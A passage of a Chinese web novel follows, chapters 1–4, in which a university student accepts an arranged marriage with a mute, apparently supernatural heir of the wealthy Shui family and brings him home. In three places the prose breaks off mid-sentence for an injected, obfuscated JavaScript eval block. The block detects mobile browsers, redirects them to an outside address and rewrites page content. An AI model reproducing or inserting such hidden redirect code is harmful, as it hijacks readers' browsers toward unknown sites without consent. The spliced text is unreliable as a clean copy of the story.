《人外美人饲养指南》 1. 美人 [恬不知耻]:(图片) [恬不知耻]:今天你皓哥请客,酒水管够。(得意jpg.) 田皓在群里发消息时,牧晋修已经在捷豹后座坐了快一个小时。 车子在盘山公路上绕来绕去,上坡下坡,左转右转,离市区越远,两侧树木越茂密幽深,野草和藤蔓向前延伸,攀上路标指示牌的铁杆。 又一个拐弯,司机按了两下喇叭,牧晋修在外壳褪色的凸面镜中看到自己变形扭曲的脸,指尖无意识地在臂膀上敲打着。 他换了一个坐姿,手肘撑在窗沿,打了个哈欠:“叔,还要多久啊?” 驾驶座上的人在后视镜上和他对上目光,却紧抿着唇,什么也没说。 牧晋修耸了耸肩,无聊地靠回椅背上。 司机似乎事先收到什么指示,并不和他交谈,牧晋修刚上车时试着起两个话头,均没有得到回应。 于是这一个小时格外沉闷。 手机还在震,田皓又给牧晋修发了条消息:真不来啊,就差你了。 田皓平常在国外念书,被他哥管得死死的,难得回国潇洒一段时间。他这人爱热闹,自然要大张旗鼓,把所有朋友叫出来给他接风洗尘。 第一场聚会来的人多,除了他们这几个互相认识多年的朋友外,还有许多田皓自己那边的朋友,基本上都同是跋扈的少爷们,牧晋修本来也没打算去。 田皓心里清楚,不过随口一问。牧晋修这回不来,几人后面也会单独再聚。 牧晋修手机举在车窗前,给他拍了一段视频发过去:来不了,进山了。 [恬不知耻]:? [恬不知耻]:深山老林的,干嘛去啊。 牧晋修言简意赅:相亲。 田皓愣了一会儿,立刻想起来前段时间牧晋修给他提起的那事:等下?来真的啊? [Mu]:不然呢?老头都烦了我多久了,一直催。 [恬不知耻]:……那你真的要结婚啊? [Mu]:老头合同都签了,你说呢? 假期难得,牧晋修之所以乘车出现在这里,是来见联姻对象的。 几个月前,他那个半年不见一次面的爹忽然满面春风地找来牧晋修,说要给他介绍一门亲事。 还在念大学的牧晋修一头雾水:? 他今年二十一岁,广阔人生才刚刚开了个头,恋爱都没谈过,并没有英年早婚的打算。 加上父母分开得早,他和双亲的感情都不深,于是合情合理的,牧晋修对婚姻并没有丝毫向往。和陌生人联姻这种事,他要是能立刻点头答应才有鬼了。 当时一口回绝,把牧肃威气得够呛,差点下令关他禁闭。 而他爹之所以这么看重这桩婚事,是因为联姻对象是水家。 那天牧肃威走后,牧晋修打开笔电对着百科研究了好一会儿。水家他有印象,市面上许多龙头企业均有控股,但近年来低调很多。牧晋修在不起眼的角落里找到一篇媒体报道,说水家频繁与外商合作,新的总部大厦在海外落址,似乎有意往国外发展。 既然要进行资产转移,那还提联姻干什么? 这种带有交易意味的婚事,一般都发生在家族濒临破产,产业资金链断裂时,需要通过联姻来力挽狂澜,而水家明显没有这种需求。 又或是门当户对相互联合,以抬高企业市值,但和水家一比,牧家横竖都高攀不起。 牧晋修就有些疑惑了,说明问题的关键在联姻对象身上。 那位要和他联姻的人叫水玉岫,说是水家的大少爷。牧晋修又上网搜了一会儿,没看见相关讯息,倒是他那个便宜继弟后来幸灾乐祸地透露过一些,说这人在水家并无继承权,看这么多年没出来抛头露面就知道了,而且似乎生了什么病,性格也十分古怪,常年不见人。 难怪牧肃威当时说得很含糊,没过多介绍,好处倒是讲了不少,摆明了这桩婚事就是一场毫无感情的交易。 不过,就算是要去照顾脾气古怪孤僻的大少爷,那也是水家的少爷,婚事开出的筹码令人惊叹,无疑是一桩好买卖,若是放出消息,必定有许多人为此你夺我争。 所以,为什么是他呢? 水家倒是给出了解释,他们好像真的很着急这桩婚事,左催右催,说那位少爷体弱多病,而牧晋修的八字与之相合,要通过联姻来“冲喜”。 只要牧晋修肯同意,那么好处自然少不了。 牧晋修对这种带有玄学色彩的说辞不置可否,但牧肃威那边一锤定音,已经先替他同意了,多方施压,不许他不点头。 . 牧晋修再次抬头时,车终于缓缓停在了古宅门前。 驾驶座的司机暗自长呼出一口气,手背摸了把额头的冷汗,依旧没有开口,目光移向后视座上的人。 牧晋修挑了挑眉,收起手机,推开车门从车上下来。双脚踏在地面上后,他抬头凝视着面前的这座建筑。 碎石子铺在路面上,一直向前延伸,最后停在雕花金漆的栏杆前。 而那里并列站着三个人。 其中最左边是一位上了年纪的老太太,一头打卷的白发,手里抓着一串佛珠,眉头紧锁着。中间站着一个明显发福的中年男人,鼻梁上架着一副方框眼镜。牧晋修知道这人,他在百科上见过这张脸,似乎叫水忠才。 最右边则是一个年纪较轻的男人,穿着一整套笔挺的西服,领口端正打着蝴蝶结,衣领已经被汗液沾湿一圈。 这人姓赵,是水家的高级管家,牧晋修有他联系方式,今天的司机就是他派来的。 几人就这样直愣愣地站着,远看像一排毫无生气的蜡像。直到牧晋修走到跟前,蜡像们才像活过来似地,开始呼吸喘气,动动手脚,活动关节。 老太太手里的佛珠转得飞快,嘴里念念有词。水忠才将他从头到尾看一遍,牧晋修今天穿得很休闲,一只手插在裤兜里,任他们打量,朝几人露齿一笑:“你们好,我是牧晋修。没走错吧?” “没错。”水忠才跟着一笑:“小伙子很有精起神嘛。” 牧晋修继续笑:“来结婚嘛。” 赵管家看了他们几眼,比了个手势:“牧先生既然到了,请进吧。” . 这里据说是水家的祖宅,传统的中式宅院,建造风格和装潢看起来像上个世纪的产物,粉墙黛瓦,都有些年头了。回廊旁一池碧水如宝玉横陈,无风自皱,其中奇石假山,松树横斜,当初修缮时,必定耗费了不少人力物力。 牧晋修跟在几人后面,不动声色地观察四周,小径上铺的青石板相当干净,毫无青苔杂草之类的痕迹,应该日日有人清扫。到正门前旁生出一条小径,似乎通向祠堂之类的地方,隐隐有香灰的味道飘来。 牧晋修之前连一些家族聚会都不会参加,多年来完全处于被放养的状态,更别说被邀请到别人家参观了。他早忘记这些上流社会需要什么样的社交礼仪,但水家这种严苛的封建家族,今天竟然也没有人在意什么礼节。 这里太安静了。 或者说,没有丝毫生气。 明明四周有花草灌木,但依旧令人感到如同一潭死水。 正值夏季,烈日当空,却无端给人一种自后背升起的阴冷。 进到内厅后,几人在红木沙发上坐下,一个佣人上前斟茶,牧晋修注意到大厅一角站着一个佝偻着腰的瞎眼老头,时而挠挠背抓抓痒,手里抓着一把香,不知道在干什么。 茶香飘起时,那位老太太终于闭上嘴,怔愣地看着桌上的玛瑙摆件。水忠才随之看了一眼旁边的赵管家,后者会意,对着牧晋修微微鞠躬,开口道:“……就在楼上,您上去吧。” 牧晋修重复:“我一个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613596|187647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上去?” 赵管家避开他的目光,点点头:“少爷……不喜欢看见太多人。” 牧晋修:“那我这样突然上去,不会有些唐突吗?” “不会。”赵管家十分笃定地道:“这一点请放心,少爷很喜欢你。” 牧晋修不知道他的自信从哪里来。这算是什么相亲,什么联姻?连正式的会面和介绍都没有。 那位大少爷生的究竟是什么病?性格真就那样坏吗?牧晋修都有些好奇了,他没再追问,顺从地从沙发上起身。 先前那位佣人在前面为他引路。然而台阶登到一半多时,她便不再往上走了,手臂一抬为他指了个方向,声音有些发颤,轻声道:“在那间房间,您、您上去直走就是。” 继而匆匆下了楼。 牧晋修看着对方算得上是落荒而逃的身影,没说什么,继续往上走。 不知是不是老宅年久失修,门推开的刹那,他恍惚间看见许多黑影在屋内飞快窜过。 然而定睛一看,周围却又恢复平静,一点波澜不起,仿佛刚才匆匆一眼只是他的错觉。 牧晋修莫名感到有些眩晕,手臂扶在门框上停了几瞬,然后才继续往里走。 房间很宽敞,或者说,空旷得过了头。 光线相当黯淡,窗帘紧紧拉着,乍一眼无法观测到屋内的全貌,却依旧能感受到那种挥之不去的阴冷感。 牧晋修觉得这个卧室的布局也太奇怪了点,但是一时也说不上来到底是哪里不对劲。 最明显的是,生活气息聊胜于无。 床边坐着一个人。 这应该就是那个大少爷了吧。 牧晋修上前几步,试探地开口:“你好?” 对方留着一头长发,漆黑的发尾垂落在腰间。他原先是低着头,不知道是在发呆还是干什么,黑发水帘似地晃荡,把脸颊遮掩得看不分明。 眼下一抬头,那俏生生的脸庞便显露出来。眉似弯月,眼若黑玉,唇不点而红,睫羽轻轻巧巧在眼尾投下一道阴影。 “……”牧晋修一时间看呆了:“哥,你好漂亮啊。” 来之前,赵管家给他打了许多预防针,说少爷性格特殊,一定要事事顺着他,他想做什么就由着他,不要惹怒他、让他生气……类似的话赵管家强调了许多遍。 因此牧晋修上楼前做好了乱七八糟的心理准备,比如一进门就被一个精神病人暴打一顿,比如大少爷不满联姻自己偷偷先跑了……但无论如何也没有想到,自己居然会看见这样一个—— 美人。 他不由自主放缓了呼吸,和那人对上目光。然而很快,牧晋修再一次感受到了先前的晕眩。 ……大概是因为前几天熬夜赶实验报告,牧晋修缓了缓神,心说自己接下来真得调整作息了。 他咳了一下,忽然反应过来自己刚才的话似乎有些冒犯:“那个,我叫牧晋修。你应该知道我吧?” 不出意料,水玉岫眨了下眼睛,静静地看着他,没有做出回应。 牧晋修挠挠头:“不好意思,他们让我上来。你刚才是在午睡吗?没有打扰到你吧?” 四周很安静,落针可闻。牧晋修不知道他多久没见到生人了,因此声音放得格外轻,生怕把人吓到。 水玉岫依旧一言不发,不知道是在思考,还是在兀自出神。 在此期间,牧晋修环顾四周,屋里甚至没有多少家具,电视等日常娱乐设施更是毫无踪影,可想而知在这里住着得多无聊。 牧晋修心想,天哪,怎么会有这样的事。水玉岫真的知道联姻这件事吗?赵管家还说他很喜欢我,骗人的吧。 再次蹲下身时,牧晋修已经收拾好自己的表情,他想了想,对着床上的人伸出手,认真道:“如果结婚的话,我就是你名义上的……丈夫。” “你愿意跟我走吗?” 2. 陪伴 “丈夫”这个词,讲出来时磕到了牙齿。 牧晋修这辈子,还没有成为谁的恋人,就要先获得丈夫这个身份了。 虽然只是联姻,而且仅有三年期限,但牧晋修说出口时还是相当尴尬,颇不自在。 水玉岫安静地坐着,眼睫低垂着,半遮住漆黑的眼睛,视线落在对方泛红的耳朵上。 过了一会儿,一只手缓缓地搭在了牧晋修的掌心。 手指细长,带着凉意。牧晋修小心翼翼地把掌心合拢了,问道:“这是答应我的意思吗?” 在他看不见的角落里,许多黑色、黏稠的影子,像水滴一样从黑暗里钻出、汇聚,逐渐壮大,变成了近似于人一样的形状,在牧晋修身后,一步步靠近,张牙舞爪。 却在水玉岫微不可察的一个抬眼中,立刻消散,啪嗒一下无声地落到地上,重新躲进黑暗里。 “……” 虽然水玉岫一个字也没讲,但不知道为什么,牧晋修莫名觉得自己读懂了对方的意思。 ——他同意了。 . 大概过了二十分钟,牧晋修终于下楼了,手里还牵着个人。 他从楼上下来,一边回头提醒身后的人小心台阶,大厅里还是一片死寂,两个人坐在沙发上,赵管家站在一旁,竟然一句话也不讲。 那个眼瞎瘸腿的老头还在原地,手中依旧握着那把尚未点燃的香,正赤脚踩在地砖上转圈。 而其余人发呆的发呆,数地砖的数地砖,老太太依旧转着那串圆润的佛珠,嘴里又开始念叨着什么。 他们听见动静抬头,见牧晋修身后还跟着一个人影,下意识接连站起身,两只手在身前交握。 牧晋修牵着人,在离他们几块砖前站定:“人我带走了。” 水忠才愣了一下:“啊?” 牧晋修看了他一眼:“不是你们通知我,今天把他接回去吗?” 他想起刚才推开门后看到的情形,牵着水玉岫的手握得更紧了些。把一个好好的人这样关着,没事都会关出病来。 水忠才和那个老太太交换了个眼色:“哦对对对,那如果没有什么事的话,你可以回去了,司机应该还在外面。哈哈,辛苦过来了。” “呃……咳、咳!” 那个老头忽然开始咳嗽。两只手死死地捂住自己的嘴,似乎想借这个动作隔绝一些动静,但于事无补,反而越咳越大声,佝偻着背,整个人都在抖。 除了牧晋修以外,其他人就像没有注意到一般,连一个目光都没有施舍。 他皱起眉,终于往那个方向看了一眼。然而视线移到那处时,那个老头却原地消失了,只留下一个空荡荡的角落。 牧晋修:“?” 他惊愕一瞬,还未细看,赵管家便再次开口,打断了他的思绪:“那牧先生,我带你出去吧。” 牧晋修只能先收回注意力:“好。” 和这几个人交涉的始终,水玉岫乖乖给他牵着,乖乖站在他身边,好安静,一句话都没讲。 一点都不凶,并没有他人口中那样难以相处嘛。 牧晋修轻轻晃了晃他的手,低声道:“别怕,我们走吧。” 几人渐渐消失在视野后,那位老太太拿出一叠丝绸手帕,擦拭着额头沁出的细汗,然后连连摇头:“造孽啊。” 水忠才安慰似地拍了拍她的肩膀:“您别担心,机票已经准备好了,明天早上小赵就会送您去机场,老爷子也已经顺利到达那边了。这里其他剩下的事情,您就不用再操心了。” 老太太幅度很小地点了点头,随后微微抬起脑袋,目光在房顶奇异繁乱的纹路上停留片刻,然后长长地舒出了一口气。 . 牧晋修先给水玉岫拉开后座车门,提醒他小心车顶。等人坐进去后,他才跟着上车。 赵管家站在车窗前,对着后座的两人弯腰,额角微微冒出了点汗,挤出一个笑:“牧先生慢走,有事随时联系我。千万记得我之前嘱咐过您的话。” 牧晋修发现他的目光至始至终就没有落在水玉岫身上,只和他一个人对视着。 他顿了顿:“知道了。” 汽车很快发动,赵管家的身影在后视镜中渐渐变小,直到拐弯消失在视野前的最后一秒,脸上依旧挂着那个僵硬的微笑。 牧晋修莫名其妙地收回了视线。 从老宅回去,又耗费了不少时间,这回车里变成了三个人。 水玉岫跟着牧晋修坐在后座,他靠在牧晋修身上,看向窗外,神态还蛮放松的。 绿色的植被林木、黄色的乱石土堆,由于车速在面前飞快地掠过,模糊成一副色彩厚重的油画。 牧晋修不知道他多久没有出门了,原以为水玉岫会对外界产生抗拒和排斥,但对方看起来似乎心情不错。 他不动声色地跟着一同看向窗外,搁在身体另一侧的手悄然握紧,掌心里仿佛仍遗留着方才水玉岫手指搭上来时,冰凉的触感。 . 重新回到市区时,太阳快落山了。司机把两人放在小区门口,便一溜烟地跑了。 牧晋修没太在意。小区挺大,绿化覆盖面积足够,人工景观错落,到处种花种草。他牵着水玉岫的手,带他看每个路口的方向指示牌,教他认路。 牧晋修:“我住17栋A号楼21层,上来的话得刷卡或者输密码,密码是……算了我还是给你拿张卡吧。” 牧晋修刷完卡,伸手放到水玉岫的口袋里:“这张就给你吧。我回去找找备用卡在哪里。” 电梯开始运行,水玉岫还在低头往口袋里看,厢体内的失重感让他下意识往牧晋修身边挪了两步。 牧晋修感到自己的手被抓紧了些,他用另一只手轻轻拍了拍对方的肩膀安抚:“别怕——” 两人靠得有些近,牧晋修不太好意思,然而下一秒,电梯却忽然一颤,随后方才的失重感消失,开始以一个稳定的速度上升。 牧晋修:“?” 他抬头看了一眼电梯的楼层按键,数字“21”好好地亮着,毫无半点故障的征兆。 水玉岫跟着抬头,这回开始认真观看电梯电子屏幕上播放的广告。一个笑容甜美的女人正在推销蔓越莓曲奇饼干:“……使用新西兰进口A2牛奶,香甜酥脆,给您不一样的感受……” 今天的电梯似乎和往常不太一样,速度慢了不少。牧晋修观察了一会儿,没研究出个所以然来,打算回去后找物业保修。 很快,“叮咚”一声,21层到达,电梯门向两侧滑开。 这层楼只有一户,牧晋修把人牵出电梯,输入密码,然后推开门:“进来吧。” 水玉岫又回头看了一眼正要关合的电梯,才跟着他进了门。 大厅收拾得很整洁,看得出平时就一个人住。装修风格简约低调,极具现代感的黑白配色将空间划分出利落的线条,显得有些冷冰冰。 但放置在其中的一些家具和摆件却抵消了这种距离感,比如茶几旁一个毛绒绒的白色沙发。 水玉岫站在玄关,转着脑袋四处打量着这个陌生的地方。 牧晋修站在一旁,晃了晃他的手,忽然出声:“那个……可以松开我的手了。” 水玉岫闻声看向他,然而牧晋修却避开了他的视线,耳根又开始泛红,好像现在才后知后觉地意识到两人牵了一路的手这件事。 他思考了一会儿,把手指松开了。 牧晋修松了口气,不自在地揉了揉耳朵,从柜子里拿了双新拖鞋摆在他面前,然后带着人往里走:“进来坐吧。喝点什么吗?” 水玉岫很快被落地窗吸引了注意,他穿过大厅,径直来到窗前,手扶在玻璃上,往外看。 21层楼高,足以俯瞰远处的街道与河流。残阳遍地,青山金粉,大厦周身的玻璃幕墙映照出这个城市忙碌的晚高峰,车辆挤满路口,时动时顿。 一串尖锐幼嫩的笑声被晚风送上高楼,水玉岫低头一看,楼下儿童乐园里,几个小孩在滑梯城堡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613597|187647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前追来追去,躲躲藏藏。 牧晋修打开冰箱一转头,发现人没在身边。他看着不远处的人影,想了想,拿了一瓶橙汁出来,拧开瓶盖倒了一杯,然后走到窗前,问道:“晚上想吃什么?” 他厨艺还行,和他哥嫂学了一点手艺,大部分家常菜都做得像模像样,有次田皓从国外飞回来,吃了一口他做的宫保鸡丁,立刻一把鼻涕一把泪地跟他控诉他叔逼他吃白人餐的苦日子。 水玉岫没说话,抬起脑袋看他,发丝顺着这个动作垂在肩膀上,又去看他手中的杯子。 牧晋修递给他:“喏。我昨晚刚做的,一点添加剂都没有,天然健康。” 牧晋修:“尝尝呗,挺甜的。哥,我认为你可能需要摄入一点甜蜜的东西,你觉得呢?” 很快,水玉岫的手抬起来了,他接过杯子,然后试探地小口抿了抿,脸上表情变化不大,舔了舔嘴唇,然后又喝了一口。 应该是喜欢的意思吧?牧晋修观察他的反应,重新问了一遍:“晚饭有想吃的吗?” 他声音刻意放轻了,哄小孩一样,手指碰了碰那人的手背:“嗯?饿不饿?” 手腕细细一截,好瘦啊,每天到底有没有好好吃饭。 水玉岫低着头看着他,表情依旧淡淡的。 “……” 唉。 牧晋修抓了抓头发,一筹莫展。他并没有和自闭症人士交流过的经验,更何况现在他对水玉岫的情况一点都不了解。 怎么会这样呢?究竟是为什么?这已经不是赵管家口中所说的“有点不太爱讲话”的程度了吧。 况且如果真的只是一般情况,又何必用上“冲喜”这种字眼呢? 无法交流的话,让水玉岫点菜就行不通了。牧晋修盘算着晚上要不熬个粥算了,人不爱吃的话再说。 牧晋修打定注意,然而腿刚迈开几步,很快意识到另一个问题。 水玉岫身体不好的话,不知道他有没有什么忌口,有过敏原吗? 牧晋修站在大厅中央,吊灯的光线从头顶洒落,影子在脚底凝聚成一团。 他想起那个空得要命的房间,本来还想帮人收拾一下东西,结果柜子、抽屉里居然都是空的。不知道日常起居怎么办,难道是由佣人每日送上楼吗? 想到这里,又给他提了醒。牧晋修开始给赵管家发消息:不好意思,下午走得急,水玉岫的证件之类的可以麻烦送过来吗?还是这个地址。 赵管家很快就看到了消息,备注时不时跳成[对方正在输入中……]。牧晋修耐心等了好一会儿,对方才发过来一句话。 [赵管家]:什么证件? [Mu]:身份证医保卡之类的啊。 [赵管家]:哦。 [赵管家]:嗯。 [赵管家]:对,证件。 [Mu]:? [赵管家]:(笑脸) [赵管家]:您急着要吗? [Mu]:可以的话尽量快点吧。 吃穿住行不用担心,日常用品可以再买,但现代人最重要的证件总得带走吧。 [Mu]:对了,今天走得急忘了问,他有什么忌口吗?有没有对什么过敏? 赵管家这次沉默地比之前更久:应该……没有。 应该。 赵管家之前表现得对水玉岫那样上心,左一个少爷右一条注意事项,竟然连这个也回答不上来。 牧晋修差点被这个回答气笑了。 赵管家似乎也觉得这句话不太妥当,顿了一会儿,又道:少爷他,可能有点挑食。 [赵管家]:如果不喜欢的话,他不会去尝试的。所以应该不用担心这一点。 [赵管家]:你也知道,我们少爷身体一直不太好,调理了很长时间。既然牧先生答应这桩婚事,也签订了合同,希望平日里能多花些时间照顾他,毕竟他很需要 下一条消息好一会儿才发过来。 [赵管家]:陪伴。 3. 摸摸 「陪伴」 赵管家曾多次强调这个词。在和水玉岫见面之前,赵管家列出好几条注意事项:尽可能满足他的一切要求、不要违背他的想法、别和他分开太久,需要给出充足的陪伴…… 说什么因为八字轻,才体弱多病,久卧在床。 牧晋修认为这个解释相当不可靠,生病了就应该去看医生吃药,搞这些神神叨叨的算什么。都二十一世纪了,这一家上下简直迷信得过了头。 充足的陪伴。 牧晋修心想,如果你们有重视这一点,也不会天天把人独自留在房间里了。 他按灭手机,没有再回复。一转身,差点和人撞了个满怀。 水玉岫不知道什么时候从落地窗前离开,站在他身后,无声地看着他。 牧晋修:“……吓我一跳。” 走路好像猫,悄无声息的,一眨眼就过来了。 牧晋修个子比他高出一个头,此刻低头和他对视。也许因为不怎么出门见光,水玉岫的皮肤相当白皙,衬得一双眼格外漆黑,仿佛多看一眼都要掉到这潭水里去了。 牧晋修又开始头晕,撇开视线,小声嘀咕道:“不行我今晚一定要早点睡……” 他做了个深呼吸,这才转过头:“你比我大几岁,那我以后就这样叫你哥吧?好不好?” 虽然说是结婚,但两人并没有任何感情基础,甚至今天才见第一面。牧晋修毫无准备,目前也喊不出什么甜蜜亲昵的昵称。 合同上有这个要求吗?忘记了。 水玉岫抬着头,没什么反应。淡粉色的唇抿着,脸颊肉似乎很软,让人看得有些手痒。 牧晋修想了想,之前已经这样喊过他好几次了,也没有生气的样子,应该是不介意吧。 他把对方几缕散落的头发撩到耳后:“你先看会儿电视吧,我去做个饭。” 电视打开,牧晋修随便调了个热闹的综艺频道,然后把遥控器搁在水玉岫面前的桌上。往厨房方向走了几步后,又忽然折返回来:“会用吗?” 水玉岫没理他,面无表情地紧盯着屏幕上的一群人,十分专注。 存疑。 牧晋修:“来,手伸出来。这个按钮,是用来调节声音大小的,这个不能按,这是电源键……” 水玉岫若有所思,跟着他的指示伸出手,试探地按下其中一个按键。 声音果然响亮了一些,节目里的交谈声、笑声、后期动画配音在大厅回荡,好像一下挤进来很多人。 牧晋修满意地点点头,摸了摸他的脑袋:“好聪明啊,哥,你就是天才吧。” 他一边说,一边给水玉岫手边空了的纸杯重新倒满橙汁:“奖励你一杯这个。” 牧晋修去厨房了,留水玉岫一个人坐在沙发上。 哪个按键对应什么功能,他很快学会了,这按一下那摁一下,不多时就感到无聊。 水玉岫托着脸,把遥控器随手扔到一旁。 忽然—— 电视开始闪烁,发出滋滋的轻微声响,人物拉长、模糊,紧接着屏幕暗下去了。 牧晋修忙活得正起劲,没有注意到这边的异样。 冰箱里还有些贝类,牧晋修打算熬个海鲜鲜肉粥。他把里脊肉拿出来化冻,虾去壳去虾线,用料酒腌制,去腥的姜丝、蒜末在案板上码好,忽然探出个脑袋,朝客厅喊:“哥,我加点蒜,能接受吗?” 水玉岫同样探着脑袋看他。 两人对视,牧晋修又把头缩了回去——这就是可以吃的意思。 他现在已经掌握了一些和水玉岫交流的技巧,不爱说话怎么办?没关系,问题都可以解决的。 水玉岫窝在圆形沙发上,看向厨房里的人,周围白色的绒毛像棉花一样裹着他。 浓浓的鲜味混合着米香,伴随着咕嘟咕嘟冒泡的声音传了出来。 牧晋修专心致志地搅动着铲子。他身上套着一件蓝色围裙,另一只手叉在腰间,手臂上的肌肉起伏,线条和形状都很明显。 而在他头上,厨房顶部的墙角处,像是漏水了,渐渐溢出一些漆黑、浓稠的液体。 缓慢蠕动着,一点一点向中央汇聚,仿佛下一秒就要掉落下来。 牧晋修若有所感,抬头一看。 天花板上干干净净,一切如常。 他挑了挑眉,忽然转头,恰好对上水玉岫的视线。 牧晋修愣了一下,随即扬了扬嘴角,举起手中的勺子朝他示意:“饿了吗?” 粥还需要再熬一会儿,牧晋修洗了点水果,做成果盘端过去投喂一下。 走到大厅,忽然察觉周围好像有点安静。 牧晋修“哎”了一声,这才发现屏幕已经暗下去了:“电视坏了吗?” 他看了看电视,又看了看水玉岫,先给人喂了块桃子,然后放下果盘,在屏幕前研究了一会儿,摸不着脑袋:“算了。可能是太久没开,我明天找人来修吧。” 水玉岫学着他刚才的样子捻起小叉子,咬了一口草莓。好像有点酸,又放了回去。 再挑起一块芒果,嚼了两下,多汁浓郁,似乎可以接受,又尝了一口。 喜好很明显,爱吃甜的。 牧晋修在一旁津津有味地看了一会儿水果分拣,这才回了厨房。 很快,灶台熄火,粥端到桌子上时,房间里已经洋溢着香喷喷热腾腾的饭香,温暖的香气,像鹅毛一样挠动着鼻腔。 牧晋修过来叫人吃饭,水玉岫却坐着没动,平静地朝他微微抬起手。 牧晋修看了两秒,有些明白了,走上前把那只手握在手心,将人牵住了。 天已经完全黑了,落地窗外变了景色,两人坐在桌前,牧晋修看着他的头发,忽然站起来:“等我一下。” 他翻找出一条丝带,帮人把头发扎起来:“头发好长啊,平常是不是有人专门负责给你梳头发?明天给你买个发圈吧,你喜欢什么样的?” 牧晋修等了一会儿,没有回答:“那我随便买了。给你买粉色蝴蝶结的,你不要生我气。” 他没给人扎过头发,动作生疏。水玉岫身上有一股浅淡的香味,很好闻,但一时分辨不出究竟是什么味道。 牧晋修的手指在长发穿过。 摸摸头发。 没有生气。 揉揉脑袋。 没有生气。 捏捏脸颊。 没有生气。 脾气好好喔。 牧晋修得寸进尺,两只手分别贴在他脸颊上,轻轻托起来。 ……手感比想象中还要好,像在摸一块刚出炉的、软乎乎的年糕。 “……” 水玉岫终于使了点力,偏过头挣脱,朝他蹙起眉头。 “嘿嘿。”牧晋修马上松开手:“对不起,哥,但是你知道吗?你的脸好软啊。” 他若无其事地坐回椅子上,心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613598|187647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想赵管家的说辞绝对有夸大的成分,少爷也不凶也不闹脾气,除了要牵手外也不提要求,还很好顺毛,被摸摸脸也没怎么样嘛。 不过牧晋修又想,可能也没有人敢摸少爷的脸吧。 . 水玉岫似乎对晚饭还算满意,虽然吃得不算多,但好歹一碗粥是喝完了,后续可以加入食谱。离开餐桌后,没有电视可以看,他开始在四处游荡。 偶然在某个地方停留一会儿,便转头看向牧晋修。 牧晋修很自然地开口:“这个是花瓶,陶瓷做的,之前在集市上买的,你不觉得这个瓶身很有艺术感吗?虽然插不了几朵花。” 牧晋修:“噢,陶瓷,陶瓷呢就是把泥团放在转盘上塑形,然后……” 牧晋修:“你喜欢这个吗?这是我之前做的标本,红斑翠蛱蝶,好看吧?我觉得好有缘分,第一次看见它时……” 牧晋修:“这是乐高模型,当时拼了好久,看起来还可以吧?谢谢哥,以后又多了一个人可以欣赏我的劳动成果了。” …… 整个大厅事无巨细地介绍了一遍,水玉岫不再发问,开始自顾自地开始研究。牧晋修闲下来了,喝了口水,靠在沙发上,点开手机。 田皓朋友圈发了一堆照片,香槟堆成塔,看上去相当潇洒。 牧晋修刚给他点了个赞,下一秒田皓就发来了一条私信:哥们,相亲怎么样? 回复这么快,晚上应该没喝多。 田皓和他算是某种程度上的发小。 因为家庭原因,牧晋修是不怎么被重视的透明人,而田皓小时候正值家族迭代,夹杂在一群各怀鬼胎的大人中间被当皮球一样踢来踢去,有朝一日终于受不了爆发了,其中略过种种千辛万苦,反正现在也能在自家里横着走了。 牧晋修跟他简要说了今天发生的事情,把田皓讲得一愣一愣的。 [Mu]:我想不明白啊,好好的人关在家里干什么。 水家的那个宅子七拐八弯,在深山老林里,离市区那样远,佣人不多,说明平常也没几个人常住,除了祭祖以外应该不会经常回来。 自己懂得享受都市的热闹繁华,却把人随意地往那个冷清的地方不管不顾地一丢。美名其曰自然疗养,天,这不就是欺负人吗。 田皓啧啧称奇,又问:那人呢?也是可怜。他们家前几年好像就被人举报过,说是承包了某个场地搞什么仪式,怪玄乎的。 牧晋修咳了一声,偷看一眼水玉岫,打字:在我旁边。 [恬不知耻]:啊? [Mu]:我带回家了。 [恬不知耻]:…… [恬不知耻]:替我向少爷问好。(微笑) [Mu]:没有穆恒毅说得那么夸张,他很乖的。 [Mu]:再说,你知道他们花了多少钱来贿赂我吗? 田皓冷漠道:不知道。我只知道如果你真想要钱,当初还会签那份放弃遗产继承的协议书吗?早点支棱起来和你那些兄弟姐妹争家产,拿到的钱不会比这少吧?也不用现在随便被推出去联姻了。 牧晋修在屏幕那边叹了一口气:给你转两百块,别老提这事。 [Mu]:而且你不懂,我有感觉。 [恬不知耻]:? [恬不知耻]:有人口出狂言,我要报警了。 牧晋修没有理会田皓的插科打诨,继续道:我感觉他需要我。 4. 抱抱 这种感受难以具体言说,像一团蓬蓬的棉花糖,轻飘飘的,却把心房填得满满当当。 那时在房间里,他和水玉岫对上目光时,便觉得自己能明白他的意思,读懂他的心思。 ——他想要离开那里。 是错觉吗?牧晋修心说,他好像在等我。 ……而且水玉岫似乎对这个世界很陌生。 